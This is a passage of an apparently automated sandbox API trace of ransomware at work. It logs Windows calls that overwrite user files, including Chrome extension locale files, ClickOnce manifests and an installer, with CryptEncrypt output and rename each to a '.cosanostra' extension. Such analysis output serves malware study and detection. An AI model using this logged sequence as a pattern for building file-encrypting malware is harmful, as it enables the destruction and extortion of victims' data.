lpNumberOfBytesWritten=0x26ffa7c*=0xe2, lpOverlapped=0x0) returned 1 [0085.981] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.981] WriteFile (in: hFile=0x178, lpBuffer=0x26ffabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa7c, lpOverlapped=0x0 | out: lpBuffer=0x26ffabc*, lpNumberOfBytesWritten=0x26ffa7c*=0x4, lpOverlapped=0x0) returned 1 [0085.981] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa7c*=0x30, lpOverlapped=0x0) returned 1 [0085.981] CloseHandle (hObject=0x178) returned 1 [0085.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0085.983] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffab8 | out: pbBuffer=0x26ffab8) returned 1 [0085.983] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffab0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffab0*=0x30) returned 1 [0085.983] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.983] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 155 [0085.983] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.984] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.984] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xe5, lpNumberOfBytesWritten=0x26ffa74, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa74*=0xe5, lpOverlapped=0x0) returned 1 [0085.984] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.984] WriteFile (in: hFile=0x178, lpBuffer=0x26ffab4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa74, lpOverlapped=0x0 | out: lpBuffer=0x26ffab4*, lpNumberOfBytesWritten=0x26ffa74*=0x4, lpOverlapped=0x0) returned 1 [0085.984] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa74, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa74*=0x30, lpOverlapped=0x0) returned 1 [0085.984] CloseHandle (hObject=0x178) returned 1 [0085.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0085.986] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffab0 | out: pbBuffer=0x26ffab0) returned 1 [0085.986] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffaa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffaa8*=0x30) returned 1 [0085.986] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.986] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 158 [0085.986] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.987] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.987] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x26ffa6c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa6c*=0xd5, lpOverlapped=0x0) returned 1 [0085.987] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.987] WriteFile (in: hFile=0x178, lpBuffer=0x26ffaac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa6c, lpOverlapped=0x0 | out: lpBuffer=0x26ffaac*, lpNumberOfBytesWritten=0x26ffa6c*=0x4, lpOverlapped=0x0) returned 1 [0085.987] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa6c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa6c*=0x30, lpOverlapped=0x0) returned 1 [0085.988] CloseHandle (hObject=0x178) returned 1 [0085.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json.cosanostra")) returned 1 [0085.988] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffaa8 | out: pbBuffer=0x26ffaa8) returned 1 [0085.988] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffaa0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffaa0*=0x30) returned 1 [0085.988] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.989] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 161 [0085.989] StrStrW (lpFirst="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpSrch=".txt") returned 0x0 [0085.993] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.993] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffa64, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa64*=0x2800, lpOverlapped=0x0) returned 1 [0085.994] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.994] WriteFile (in: hFile=0x178, lpBuffer=0x26ffaa4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa64, lpOverlapped=0x0 | out: lpBuffer=0x26ffaa4*, lpNumberOfBytesWritten=0x26ffa64*=0x4, lpOverlapped=0x0) returned 1 [0085.994] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa64, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa64*=0x30, lpOverlapped=0x0) returned 1 [0085.994] CloseHandle (hObject=0x178) returned 1 [0085.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest.cosanostra")) returned 1 [0085.997] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffaa0 | out: pbBuffer=0x26ffaa0) returned 1 [0085.997] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa98*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa98*=0x30) returned 1 [0085.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.997] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 159 [0085.997] StrStrW (lpFirst="GoogleUpdateSetup.exe", lpSrch=".txt") returned 0x0 [0085.997] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.997] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa5c*=0x2800, lpOverlapped=0x0) returned 1 [0085.997] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.997] WriteFile (in: hFile=0x178, lpBuffer=0x26ffa9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa9c*, lpNumberOfBytesWritten=0x26ffa5c*=0x4, lpOverlapped=0x0) returned 1 [0085.998] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa5c*=0x30, lpOverlapped=0x0) returned 1 [0085.998] CloseHandle (hObject=0x178) returned 1 [0085.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe.cosanostra")) returned 1 [0085.998] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffaa0 | out: pbBuffer=0x26ffaa0) returned 1 [0085.998] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa98*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa98*=0x30) returned 1 [0085.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.999] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 175 [0085.999] StrStrW (lpFirst="clickonce_bootstrap_unsigned.manifest", lpSrch=".txt") returned 0x0 [0086.005] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffaa0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.015] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x26ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa5c*=0x560, lpOverlapped=0x0) returned 1 [0086.015] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.016] WriteFile (in: hFile=0x178, lpBuffer=0x26ffa9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa9c*, lpNumberOfBytesWritten=0x26ffa5c*=0x4, lpOverlapped=0x0) returned 1 [0086.016] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa5c*=0x30, lpOverlapped=0x0) returned 1 [0086.016] CloseHandle (hObject=0x178) returned 1 [0086.016] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.cosanostra")) returned 1 [0086.019] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa98 | out: pbBuffer=0x26ffa98) returned 1 [0086.019] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa90*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa90*=0x30) returned 1 [0086.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0086.019] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 81 [0086.019] StrStrW (lpFirst="state.rsm", lpSrch=".txt") returned 0x0 [0086.032] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffd02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.032] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x26ffa54, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa54*=0x2fe, lpOverlapped=0x0) returned 1 [0086.032] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.032] WriteFile (in: hFile=0x178, lpBuffer=0x26ffa94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa54, lpOverlapped=0x0 | out: lpBuffer=0x26ffa94*, lpNumberOfBytesWritten=0x26ffa54*=0x4, lpOverlapped=0x0) returned 1 [0086.033] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa54, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa54*=0x30, lpOverlapped=0x0) returned 1 [0086.033] CloseHandle (hObject=0x178) returned 1 [0086.033] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.cosanostra" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.cosanostra")) returned 1 [0086.034] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa90 | out: pbBuffer=0x26ffa90) returned 1 [0086.034] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa88*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa88*=0x30) returned 1 [0086.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0086.034] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 155 [0086.034] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.035] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.036] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x26ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa4c*=0xd7, lpOverlapped=0x0) returned 1 [0086.036] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.036] WriteFile (in: hFile=0x178, lpBuffer=0x26ffa8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x26ffa8c*, lpNumberOfBytesWritten=0x26ffa4c*=0x4, lpOverlapped=0x0) returned 1 [0086.036] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa4c*=0x30, lpOverlapped=0x0) returned 1 [0086.036] CloseHandle (hObject=0x178) returned 1 [0086.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0086.037] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa88 | out: pbBuffer=0x26ffa88) returned 1 [0086.037] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa80*=0x30) returned 1 [0086.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0086.038] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 155 [0086.038] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.039] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff15, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.039] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xeb, 